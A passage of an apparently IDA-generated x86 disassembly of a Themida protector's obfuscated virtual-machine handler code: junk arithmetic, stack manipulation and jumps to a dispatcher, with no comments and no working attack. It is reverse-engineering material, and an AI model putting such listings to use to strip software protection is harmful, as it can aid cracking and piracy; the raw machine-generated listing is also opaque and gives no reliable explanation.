		jmp	sub_55F619
; ---------------------------------------------------------------------------


loc_564A9D:				; CODE XREF: sub_56207C-2D6Aj
		push	eax
		mov	eax, 1D290EE0h
		jmp	loc_564C9D
; ---------------------------------------------------------------------------


loc_564AA8:				; CODE XREF: sub_56207C+B5CEj
		shr	ebx, 5
		jmp	loc_568E7B
; ---------------------------------------------------------------------------


loc_564AB0:				; CODE XREF: sub_56207C+74D1j
		push	6F6h
		mov	[esp+2Ah+var_2C+2], ebx
		jmp	loc_56F221
; ---------------------------------------------------------------------------


loc_564ABD:				; CODE XREF: sub_56207C+110FAj
		mov	ax, word ptr [esp+2Ah+var_2C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+2Eh+var_30+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], eax
		push	ecx
		mov	ecx, 2D86326Eh
		mov	eax, 0EB8D2498h
		jmp	loc_56ED28
; ---------------------------------------------------------------------------


loc_564AF5:				; CODE XREF: sub_56207C+6CF9j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_564AFA:				; CODE XREF: sub_56207C+4814j
		pop	[esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], ecx
		push	edx
		mov	dh, 89h
		mov	ch, dh
		pop	edx
		shl	ch, 7
		shl	ch, 4
		jmp	loc_56D857
; ---------------------------------------------------------------------------


loc_564B12:				; CODE XREF: sub_56207C+9AAFj
		pop	eax
		add	ebx, eax
		xor	[ebx], ecx
		mov	ebx, [esp+26h+var_28+2]
		jmp	loc_563651
; ---------------------------------------------------------------------------


loc_564B1F:				; CODE XREF: sub_56207C+4568j
		mov	ebx, 73DF7DB9h
		sub	edx, ebx
		pop	ebx
		push	16FFh
		jmp	loc_560200
; ---------------------------------------------------------------------------


loc_564B31:				; CODE XREF: sub_56207C+670Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5708CF
; ---------------------------------------------------------------------------


loc_564B43:				; CODE XREF: sub_56207C+9E1Cj
		add	esp, 4
		jmp	loc_561936
; ---------------------------------------------------------------------------


loc_564B4E:				; CODE XREF: sub_56207C+8C9Ej
		mov	[esp+26h+var_28+2], ebx
		jmp	loc_56C561
; ---------------------------------------------------------------------------


loc_564B56:				; CODE XREF: sub_56207C+114B4j
		mov	[esp+26h+var_28+2], ebx
		push	esi
		mov	esi, 5CE438Dh
		and	esi, 2DDA763Fh
		neg	esi
		xor	esi, 6C076829h
		jmp	loc_567FCD
; ---------------------------------------------------------------------------


loc_564B72:				; CODE XREF: sub_56207C-1AF7j
		push	ebp
		push	[esp+28h+var_24]
		pop	ebp
		pop	[esp+28h+var_28]
		mov	esp, [esp+24h+var_24]
		add	esp, 4
		sub	[esp+20h+var_20], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_564B8A:				; CODE XREF: sub_56207C+1078Dj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_564DF5
; ---------------------------------------------------------------------------


loc_564B9C:				; DATA XREF: Themida_:0055E280o
		mov	cx, word ptr [esp+24h+var_24]
		jmp	loc_55EAFA
; ---------------------------------------------------------------------------


loc_564BA5:				; CODE XREF: sub_56207C-35BFj
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	eax, [edx]
		mov	edx, [esp+26h+var_28+2]
		jmp	loc_563F72
; ---------------------------------------------------------------------------


loc_564BB7:				; CODE XREF: sub_56207C-B24j
		xor	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		add	esi, 3AF44C0h
		jmp	loc_572211
; ---------------------------------------------------------------------------


loc_564BCD:				; CODE XREF: sub_56207C-17Ej
		and	ebp, 1DEB2B07h
		jmp	loc_56BE22
; ---------------------------------------------------------------------------


loc_564BD8:				; CODE XREF: sub_56207C+8F0Bj
		mov	[esp+10h+var_10], eax
		push	0EA9h
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	eax
		push	edi
		mov	edi, 4
		push	ebp
		mov	ebp, 7BBE7FA2h
		jmp	loc_56C936
; ---------------------------------------------------------------------------


loc_564BF9:				; DATA XREF: Themida_:0055E268o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+16h+var_18+2], cl
		pushf
		jmp	loc_56E40A
; ---------------------------------------------------------------------------


loc_564C08:				; CODE XREF: sub_56207C+6DE7j
		pop	edx
		add	eax, 4
		xchg	eax, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_564C17:				; CODE XREF: sub_56207C+50C2j
		not	[esp+12h+var_14+2]
		pop	ecx
		jmp	loc_565121
; ---------------------------------------------------------------------------


loc_564C20:				; CODE XREF: sub_56207C-186Cj
		mov	ecx, [esp+24h+var_24]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+28h+var_28]
		jmp	loc_55F830
; ---------------------------------------------------------------------------


loc_564C38:				; DATA XREF: Themida_:0055E210o
		push	[esp+28h+var_28]
		push	[esp+2Ch+var_2C]
		pop	ecx
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_569B49
; ---------------------------------------------------------------------------


loc_564C48:				; CODE XREF: sub_56207C-1D5Fj
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		sub	esp, 4
		push	576Ah
		mov	[esp+20h+var_20], esp
		push	eax
		jmp	loc_56F231
; ---------------------------------------------------------------------------


loc_564C65:				; CODE XREF: sub_56207C+7F48j
		push	dword ptr [eax]
		jmp	loc_56154E
; ---------------------------------------------------------------------------


loc_564C6C:				; CODE XREF: sub_56207C+5102j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+2Ch+var_2C]
		jmp	loc_57362E
; ---------------------------------------------------------------------------


loc_564C80:				; CODE XREF: sub_56207C+2EACj
		neg	cl
		shr	cl, 4
		xor	cl, 3Ch
		add	al, cl
		jmp	loc_568777
; ---------------------------------------------------------------------------


loc_564C8F:				; CODE XREF: sub_56207C-39D4j
		pop	ebx
		jmp	loc_5667A6
; ---------------------------------------------------------------------------


loc_564C95:				; CODE XREF: sub_56207C-373Cj
		sub	esi, eax
		pop	eax
		jmp	loc_5712DB
; ---------------------------------------------------------------------------


loc_564C9D:				; CODE XREF: sub_56207C+2A27j
		xor	esi, eax
		jmp	loc_5642A6
; ---------------------------------------------------------------------------


loc_564CA4:				; CODE XREF: sub_56207C+D331j
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 4
		jmp	loc_565DE5
; ---------------------------------------------------------------------------


loc_564CB1:				; CODE XREF: sub_56207C+F0A8j
		add	ecx, edi
		sub	ecx, 6A5152ACh
		jmp	loc_56124D
; ---------------------------------------------------------------------------


loc_564CBE:				; CODE XREF: sub_56207C-3811j
		add	ebp, esi
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_561278
; ---------------------------------------------------------------------------


loc_564CCE:				; CODE XREF: sub_56207C+84A8j
		not	ebx
		or	ebx, 7DA5097Fh
		xor	ebx, 22A1A4D1h
		jmp	loc_56CAA7
; ---------------------------------------------------------------------------


loc_564CE1:				; CODE XREF: sub_56207C+7D01j
		add	ebx, 4
		jmp	loc_56A9FA
; ---------------------------------------------------------------------------


loc_564CEC:				; CODE XREF: sub_56207C+39C2j
		add	edx, 5F500E41h
		add	edx, ebp
		sub	edx, 5F500E41h
		add	edx, 7A6815ACh
		pop	ebp
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		xor	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		or	edx, eax
		jmp	loc_5696F5
; ---------------------------------------------------------------------------


loc_564D14:				; CODE XREF: sub_56207C+1122Dj
		push	ebx
		mov	bl, 0A0h
		mov	ch, 0FDh
		push	ebx
		jmp	loc_56B857
; ---------------------------------------------------------------------------


loc_564D1F:				; CODE XREF: sub_56207C+4520j
		add	esp, 4
		shl	eax, 4
		neg	eax
		or	eax, 35FD0E50h
		xor	eax, 4A454FC9h
		push	esi
		mov	esi, 0B67294Eh
		shl	esi, 5
		jmp	loc_567E9E
; ---------------------------------------------------------------------------


loc_564D3F:				; CODE XREF: sub_56207C+1A08j
		and	edx, ebp
		jmp	loc_5687AB
; ---------------------------------------------------------------------------


loc_564D46:				; CODE XREF: sub_56207C+3C9Dj
		push	[esp+74h+var_74]
		pop	ecx
		jmp	loc_567138
; ---------------------------------------------------------------------------


loc_564D4F:				; CODE XREF: sub_56207C-10A4j
		not	edi
		push	ebx
		push	ecx
		push	3CA9h
		mov	[esp+3Ch+var_3C], eax
		push	4A820CD5h
		jmp	loc_563355
; ---------------------------------------------------------------------------


loc_564D65:				; CODE XREF: sub_56207C+10DD6j
		push	edi
		mov	edi, 4C717F08h
		neg	edi
		shl	edi, 4
		and	edi, 28902BACh
		neg	edi
		add	edi, 6E03375Ah
		sub	edi, 33D4CE60h
		and	ebx, edi
		pop	edi
		xor	ebx, 57C2405Eh
		jmp	loc_565881
; ---------------------------------------------------------------------------


loc_564D92:				; CODE XREF: sub_56207C+57F2j
		add	ecx, 45FD4187h
		add	ecx, 29A125Fh
		mov	ebp, [esp+40h+var_40]
		push	esi
		jmp	loc_5688FB
; ---------------------------------------------------------------------------


loc_564DA7:				; CODE XREF: sub_56207C+2384j
		xor	ebx, 1A90173Eh
		jmp	loc_5693F1
; ---------------------------------------------------------------------------


loc_564DB2:				; CODE XREF: sub_56207C+6FEDj
		not	edx
		shr	edx, 7
		add	edx, 6A2AB3EBh
		mov	eax, edx
		jmp	loc_57238F
; ---------------------------------------------------------------------------


loc_564DC4:				; CODE XREF: sub_56207C+4849j
		push	eax
		push	[esp+36h+var_34+2]
		mov	eax, [esp+3Ah+var_3C+2]
		jmp	loc_5679A3
; ---------------------------------------------------------------------------


loc_564DD1:				; CODE XREF: sub_56207C+8A1Ej
		pop	[esp+3Ah+var_3C+2]
		pop	esp
		mov	[esp+32h+var_34+2], ebx
		jmp	loc_56FAAD
; ---------------------------------------------------------------------------


loc_564DDD:				; CODE XREF: sub_56207C+8E7Bj
		mov	[esp+32h+var_34+2], edi
		push	[esp+32h+var_30+2]
		jmp	loc_5605C1
; ---------------------------------------------------------------------------


loc_564DE9:				; CODE XREF: sub_56207C+88CCj
		mov	esi, esp
		push	75C6h
		jmp	loc_56FCD6
; ---------------------------------------------------------------------------


loc_564DF5:				; CODE XREF: sub_56207C+2B1Bj
		xchg	edi, [esp+24h+var_24]
		pop	esp
		jmp	loc_5669D7
; ---------------------------------------------------------------------------


loc_564DFE:				; CODE XREF: sub_56207C-E85j
		pop	edi
		add	ebp, edi
		pop	edi
		jmp	loc_5667C1
; ---------------------------------------------------------------------------


loc_564E07:				; CODE XREF: sub_56207C+53ABj
		rol	byte ptr [esp+1Ch+var_1C], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_564E10:				; CODE XREF: sub_56207C-2C3Cj
		mov	ebx, [esp+1Ah+var_1C+2]
		push	ecx
		jmp	loc_56B823
; ---------------------------------------------------------------------------


loc_564E19:				; CODE XREF: sub_56207C+A55Aj
		add	edi, 0DDDEE1A6h
		mov	ecx, edi
		pop	edi
		add	[esp+1Ah+var_18+2], ecx
		pop	ecx
		jmp	loc_571D59
; ---------------------------------------------------------------------------


loc_564E2C:				; CODE XREF: sub_56207C+D7D3j
		add	ecx, 4
		jmp	loc_5628F1
; ---------------------------------------------------------------------------


loc_564E37:				; CODE XREF: sub_56207C+11418j
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 441714A8h
		xor	eax, 258F78BFh
		and	eax, 13485A4Eh
		sub	eax, 0F6D8217Dh
		add	esi, 2BD91BA4h
		add	esi, eax
		sub	esi, 2BD91BA4h
		jmp	loc_560799
; ---------------------------------------------------------------------------


loc_564E66:				; CODE XREF: sub_56207C+EF9Aj
		push	esi
		jmp	loc_56B900
; ---------------------------------------------------------------------------


loc_564E6C:				; CODE XREF: sub_56207C+10190j
		mov	edx, [esp+16h+var_18+2]
		push	ebx
		jmp	loc_569D7B
; ---------------------------------------------------------------------------


loc_564E75:				; CODE XREF: sub_56207C+9CBFj
		shl	edx, 6
		push	ebx
		mov	ebx, 39DD9CC7h
		xor	edx, ebx
		pop	ebx
		mov	ecx, edx
		pop	edx
		jmp	loc_564846
; ---------------------------------------------------------------------------


loc_564E89:				; CODE XREF: sub_56207C+5DFEj
		inc	ecx
		dec	ecx
		not	ecx
		xor	ecx, 0E86A85FBh
		sub	eax, ecx
		pop	ecx
		jmp	loc_569B96
; ---------------------------------------------------------------------------


loc_564E9B:				; CODE XREF: sub_56207C+1127Fj
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		jmp	loc_566E3D
; ---------------------------------------------------------------------------


loc_564EA9:				; DATA XREF: Themida_:0055E184o
		pop	small word ptr [edx]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_564EB1:				; CODE XREF: sub_56207C+DD7j
		neg	edi
		shr	edi, 7
		shl	edi, 1
		xor	edi, 48E64B93h
		dec	edi
		push	esi
		mov	esi, 2358210Ch
		xor	edi, esi
		pop	esi
		jmp	loc_572442
; ---------------------------------------------------------------------------


loc_564ECD:				; CODE XREF: sub_56207C+E617j
		mov	edx, 4000h
		push	edx
		pop	ecx
		jmp	loc_55FF7E
; ---------------------------------------------------------------------------


loc_564ED9:				; CODE XREF: sub_56207C+6E90j
		add	ebp, 1CE4A8E9h
		and	edi, ebp
		pop	ebp
		inc	edi
		sub	edi, 0EFBAC0FAh
		xor	eax, edi
		jmp	loc_56766B
; ---------------------------------------------------------------------------


loc_564EF0:				; CODE XREF: sub_56207C+5B29j
		push	eax
		mov	eax, 72BF7ACBh
		add	eax, 5BD801BFh
		or	eax, 14E063B2h
		inc	eax
		sub	eax, 0FFFFFFFFh
		jmp	loc_56C999
; ---------------------------------------------------------------------------


loc_564F0B:				; CODE XREF: sub_56207C+C479j
		dec	[esp-4+arg_0]
		jmp	loc_560C58
; ---------------------------------------------------------------------------


loc_564F13:				; CODE XREF: sub_56207C-3420j
		add	al, 0D2h
		push	[esp+1Eh+var_20+2]
		pop	ebx
		add	esp, 4
		push	ecx
		push	ebx
		mov	bh, 2Ch
		mov	cl, 6Ch
		xor	cl, bh
		pop	ebx
		jmp	loc_564C80
; ---------------------------------------------------------------------------


loc_564F2D:				; CODE XREF: sub_56207C+DADBj
		xor	ecx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ecx
		xor	ecx, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		xor	bl, al
		jmp	loc_563874
; ---------------------------------------------------------------------------


loc_564F40:				; CODE XREF: sub_56207C+7B42j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Eh+var_20+2]
		jmp	loc_5697B6
; ---------------------------------------------------------------------------


loc_564F51:				; CODE XREF: sub_56207C+BED7j
		mov	[esp+1Eh+var_20+2], eax
		push	edx
		mov	dh, cl
		push	ebx
		jmp	loc_561D5D
; ---------------------------------------------------------------------------


loc_564F5D:				; CODE XREF: Themida_:0055E9E2j
		neg	esi
		sub	esi, 4185753Fh
		jmp	loc_55FFEB
; ---------------------------------------------------------------------------


loc_564F6A:				; CODE XREF: sub_56207C+B57Ej
		add	esp, 4
		sub	edi, 175859E0h
		sub	edi, eax
		push	ebp
		jmp	loc_565CB7
; ---------------------------------------------------------------------------


loc_564F7B:				; CODE XREF: sub_56207C+BC61j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5667D5
; ---------------------------------------------------------------------------


loc_564F88:				; CODE XREF: sub_56207C+CE5j
		sub	[esp+4Ch+var_4C], eax
		sub	[esp+4Ch+var_4C], 499C09E0h
		pop	eax
		push	ebp
		push	esi
		jmp	loc_55E58A
; ---------------------------------------------------------------------------


loc_564F9A:				; CODE XREF: sub_56207C+E528j
		pop	edx
		sub	eax, edi
		pop	edi
		push	dword ptr [edi+eax*4]
		push	41B0h
		jmp	loc_56A983
; ---------------------------------------------------------------------------


loc_564FAB:				; CODE XREF: sub_56207C+7A5j
		sub	eax, 443A3879h
		add	eax, ecx
		add	eax, 443A3879h
		pop	ecx
		jmp	loc_57105C
; ---------------------------------------------------------------------------


loc_564FBD:				; CODE XREF: sub_56207C-1754j
		add	[esp+34h+var_34], 4
		jmp	loc_56D88A
; ---------------------------------------------------------------------------


loc_564FC9:				; DATA XREF: Themida_:0055E1F8o
		mov	cx, word ptr [esp+34h+var_34]
		push	2C78h
		mov	[esp+38h+var_38], edx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esp
		add	[esp+3Ch+var_3C], 4
		pop	edx
		push	ecx
		mov	ecx, 2E756F79h
		and	ecx, 63C5535Ch
		jmp	loc_572CBF
; ---------------------------------------------------------------------------


loc_564FF4:				; CODE XREF: sub_56207C+2891j
		pop	edx
		add	edx, 876141EEh
		or	edi, edx
		jmp	loc_55FA3A
; ---------------------------------------------------------------------------


loc_565002:				; CODE XREF: sub_56207C+68A3j
		xor	bh, al
		pop	eax
		dec	bh
		jmp	loc_562F65
; ---------------------------------------------------------------------------


loc_56500C:				; CODE XREF: sub_56207C+9DA1j
		mov	[esp+14h+var_14], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		and	eax, edi
		pop	edi
		shr	eax, 0Ah
		xor	eax, ecx
		push	686Fh
		jmp	loc_56C9E6
; ---------------------------------------------------------------------------


loc_565030:				; CODE XREF: sub_56207C+7009j
		dec	dl
		shr	dl, 6
		push	ebx
		push	eax
		mov	al, 4Fh
		add	al, 2Ch
		push	ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		pop	eax
		and	bh, 0CBh
		add	bh, 0B9h
		xor	dl, bh
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		sub	bl, dl
		jmp	loc_55E7CA
; ---------------------------------------------------------------------------


loc_565057:				; CODE XREF: sub_56207C+F5Ej
		push	ecx
		mov	ecx, 1A55539Ch
		shl	ecx, 3
		shr	ecx, 8
		shr	ecx, 1
		dec	ecx
		jmp	loc_565876
; ---------------------------------------------------------------------------


loc_56506B:				; CODE XREF: sub_56207C-36DDj
		add	ebx, 181A3B03h
		add	ebx, edi
		jmp	loc_5629F3
; ---------------------------------------------------------------------------


loc_565078:				; CODE XREF: sub_56207C+7E9Ej
		mov	eax, 0C3055658h
		xor	ecx, eax
		pop	eax
		jmp	loc_55F23C
; ---------------------------------------------------------------------------


loc_565085:				; DATA XREF: Themida_:0055E138o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+14h+var_14], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_565093:				; CODE XREF: sub_56207C+4900j
		push	esp
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], eax
		mov	eax, 4
		sub	ebx, 6FCE1B61h
		push	edi
		mov	edi, 76C1AC1h
		sub	ebx, edi
		pop	edi
		add	ebx, 117A35E2h
		add	ebx, eax
		sub	ebx, 117A35E2h
		add	ebx, 76C1AC1h
		push	esi
		push	edi
		mov	edi, 33505AFBh
		mov	esi, edi
		jmp	loc_56F93B
; ---------------------------------------------------------------------------


loc_5650E1:				; CODE XREF: sub_56207C+DEAj
		or	edi, 83E7182h
		sub	edi, 42F76E70h
		not	edi
		inc	edi
		add	edi, 754B7584h
		add	edi, 8FFC91B6h
		sub	edx, edi
		jmp	loc_56D6CA
; ---------------------------------------------------------------------------


loc_565103:				; CODE XREF: sub_56207C+3899j
		push	ebx
		mov	ebx, esp
		jmp	loc_56B681
; ---------------------------------------------------------------------------


loc_56510B:				; CODE XREF: sub_56207C+1A7Dj
		mov	ebp, 43B37E6Bh
		jmp	loc_56ED63
; ---------------------------------------------------------------------------


loc_565115:				; CODE XREF: sub_56207C+F806j
		add	word ptr [esp+14h+var_14+2], di
		push	dx
		jmp	loc_563921
; ---------------------------------------------------------------------------


loc_565121:				; CODE XREF: sub_56207C+2B9Fj
		shr	ecx, 8
		jmp	loc_5719C0
; ---------------------------------------------------------------------------


loc_565129:				; CODE XREF: sub_56207C-1A70j
		sub	esp, 2
		jmp	loc_56039C
; ---------------------------------------------------------------------------


loc_565131:				; CODE XREF: sub_56207C+8860j
		add	ebp, 0E5A38D38h
		sub	eax, ebp
		pop	ebp
		jmp	loc_55F1D8
; ---------------------------------------------------------------------------


loc_56513F:				; CODE XREF: sub_56207C+A250j
		sub	dh, 0CCh
		add	dh, 0E0h
		jmp	loc_56EB5D
; ---------------------------------------------------------------------------


loc_56514A:				; CODE XREF: sub_56207C+74ECj
		mov	dh, 37h
		sub	bl, dh
		pop	dx
		sub	bl, al
		add	bl, 37h
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56516A:				; CODE XREF: sub_56207C+4336j
		push	edi
		jmp	loc_56C17F
; ---------------------------------------------------------------------------


loc_565170:				; CODE XREF: sub_56207C+8A30j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56BEFA
; ---------------------------------------------------------------------------


loc_56518E:				; CODE XREF: sub_56207C-CD0j
		mov	ebx, 0C723D7Fh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_56AB6E
; ---------------------------------------------------------------------------


loc_56519B:				; CODE XREF: sub_56207C+6B93j
		pop	ecx
		shl	ebx, 4
		sub	ebx, 0F1FF0D92h
		mov	edi, ebx
		jmp	loc_56D33A
; ---------------------------------------------------------------------------


loc_5651AC:				; CODE XREF: sub_56207C+11104j
		push	edx
		mov	dl, 0B7h
		jmp	loc_564361
; ---------------------------------------------------------------------------


loc_5651B4:				; CODE XREF: sub_56207C+86E8j
		mov	[esp+20h+var_20], ebx
		jmp	loc_570D1A
; ---------------------------------------------------------------------------


loc_5651BC:				; CODE XREF: sub_56207C+553j
		mov	esi, [esp+36h+var_38+2]
		jmp	loc_567CA6
; ---------------------------------------------------------------------------


loc_5651C4:				; CODE XREF: sub_560DE7+6j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+36h+var_38+2]
		jmp	loc_56EF2E
; ---------------------------------------------------------------------------


loc_5651D7:				; CODE XREF: sub_56207C+3FCCj
		push	edi
		mov	edi, 0CF650BF1h
		add	eax, edi
		pop	edi
		jmp	loc_562110
; ---------------------------------------------------------------------------


loc_5651E5:				; CODE XREF: sub_56207C+BFC3j
		mov	ecx, 0C54AF35Fh
		add	ecx, edi
		jmp	loc_56BAF0
; ---------------------------------------------------------------------------


loc_5651F1:				; CODE XREF: sub_56207C+D427j
		sub	[esp+36h+var_38+2], 52BF1A9Eh
		pop	eax
		push	ebp
		push	ebx
		mov	ebx, 2C170A7Fh
		mov	ebp, ebx
		jmp	loc_55F4A2
; ---------------------------------------------------------------------------


loc_565207:				; CODE XREF: sub_56207C-632j
		mov	[esp+2Eh+var_30+2], edi
		jmp	loc_56809F
; ---------------------------------------------------------------------------


loc_56520F:				; DATA XREF: Themida_:0055E2A8o
		lodsb
		jmp	loc_57224C
; ---------------------------------------------------------------------------


loc_565215:				; CODE XREF: sub_56207C-38BFj
		pop	[esp+8+var_8]
		pop	esp
		push	1FB0h
		mov	[esp+4+var_4], ecx
		mov	ecx, 39C35323h
		jmp	loc_571207
; ---------------------------------------------------------------------------


loc_56522B:				; CODE XREF: sub_56207C+807Dj
		add	esp, 4
		push	edx
		jmp	loc_56B43E
; ---------------------------------------------------------------------------


loc_565237:				; CODE XREF: sub_56207C+44D6j
		mov	ebp, esp
		push	edi
		mov	edi, 22B45789h
		jmp	loc_55F480
; ---------------------------------------------------------------------------


loc_565244:				; DATA XREF: Themida_:0055E2C8o
		mov	ecx, [esp+8+var_8]
		sub	esp, 4
		jmp	loc_560184
; ---------------------------------------------------------------------------


loc_56524F:				; CODE XREF: sub_56207C+5EE2j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56BE0E
; ---------------------------------------------------------------------------


loc_56526B:				; CODE XREF: sub_56207C+229Dj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ebp
		mov	ebp, 383D1111h
		xor	ecx, ebp
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebp
		push	ecx
		jmp	loc_56141A
; ---------------------------------------------------------------------------


loc_565294:				; CODE XREF: sub_56207C+84BAj
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		mov	bh, cl
		pop	ecx
		xor	al, bh
		push	[esp+28h+var_28]
		pop	ebx
		add	esp, 4
		xor	bl, al
		push	1F77h
		mov	[esp+28h+var_28], edx
		jmp	loc_57290B
; ---------------------------------------------------------------------------


loc_5652B5:				; CODE XREF: sub_56207C-1F51j
		add	ebx, edi
		pop	edi
		push	eax
		jmp	loc_570A58
; ---------------------------------------------------------------------------


loc_5652BE:				; CODE XREF: sub_56207C+4FFFj
		mov	edx, ecx
		pop	ecx
		jmp	loc_569B08
; ---------------------------------------------------------------------------


loc_5652C6:				; CODE XREF: sub_56207C+2984j
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_565A55
; ---------------------------------------------------------------------------


loc_5652D6:				; CODE XREF: sub_56207C+10E77j
		push	ebx
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esp
		jmp	loc_566267
; ---------------------------------------------------------------------------


loc_5652E2:				; CODE XREF: sub_56207C+1ACAj
		sub	si, dx
		jmp	loc_561716
; ---------------------------------------------------------------------------


loc_5652EA:				; CODE XREF: sub_56207C+CCE2j
		add	esi, eax
		pop	eax
		add	esi, 4
		jmp	loc_56574D
; ---------------------------------------------------------------------------


loc_5652F5:				; CODE XREF: sub_56207C+16D0j
		add	ebp, 0FB47B1FCh
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp+24h+var_24]
		jmp	loc_56FA33
; ---------------------------------------------------------------------------


loc_565309:				; CODE XREF: sub_56207C+114A1j
		pop	edi
		pop	[esp+20h+var_20]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_56FE52
; ---------------------------------------------------------------------------


loc_565315:				; CODE XREF: sub_56207C-F8Bj
		pop	edx
		jmp	loc_572A9D
; ---------------------------------------------------------------------------


loc_56531B:				; CODE XREF: sub_56207C-10AEj
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 3C473D9Ch
		jmp	loc_56CD7E
; ---------------------------------------------------------------------------


loc_56532D:				; CODE XREF: sub_56207C+9348j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_56C7C8
; ---------------------------------------------------------------------------


loc_565340:				; CODE XREF: sub_56207C+EE0Aj
		mov	ebx, 2520F6Fh
		add	ebx, 369C2905h
		neg	ebx
		shr	ebx, 7
		add	ebx, 0FE71DC75h
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp+40h+var_3C]
		pop	edx
		jmp	loc_560276
; ---------------------------------------------------------------------------


loc_565364:				; CODE XREF: sub_56207C+100F1j
		sub	ecx, 1C12BEEh
		jmp	loc_56ADD7
; ---------------------------------------------------------------------------


loc_56536F:				; CODE XREF: sub_56207C+CC0Dj
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_571580
; ---------------------------------------------------------------------------


loc_56537D:				; CODE XREF: sub_56207C+993Fj
		mov	eax, [esp+3Ch+var_3C]
		jmp	loc_563DB0
; ---------------------------------------------------------------------------


loc_565385:				; CODE XREF: sub_56207C-3750j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+14h+var_14]
		pop	esp
		jmp	loc_56A27F
; ---------------------------------------------------------------------------


loc_56539A:				; CODE XREF: sub_56207C+7E09j
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		pop	esp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 6656031Ch
		shr	edi, 4
		or	edi, 6BFA073Dh
		shr	edi, 6
		shl	edi, 4
		push	3619h
		mov	[esp+14h+var_14], ecx
		jmp	loc_56D80F
; ---------------------------------------------------------------------------


loc_5653CB:				; CODE XREF: sub_56207C-3D2j
		sub	edx, 99AC17D7h
		add	ecx, 76C92DC6h
		sub	ecx, edx
		sub	ecx, 76C92DC6h
		pop	edx
		xor	ecx, 0D8908F60h
		add	esi, 5C175AA2h
		jmp	loc_563E47
; ---------------------------------------------------------------------------


loc_5653F1:				; CODE XREF: sub_56207C+66E5j
		sub	esp, 4
		mov	[esp+2Ch+var_2C], eax
		push	ebx
		jmp	loc_564831
; ---------------------------------------------------------------------------


loc_565400:				; CODE XREF: sub_56207C+E482j
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		push	[esp+30h+var_2C]
		jmp	loc_560450
; ---------------------------------------------------------------------------


loc_565417:				; CODE XREF: sub_56207C+1057Dj
		mov	edi, [esp+34h+var_34]
		add	esp, 4
		sub	esp, 4
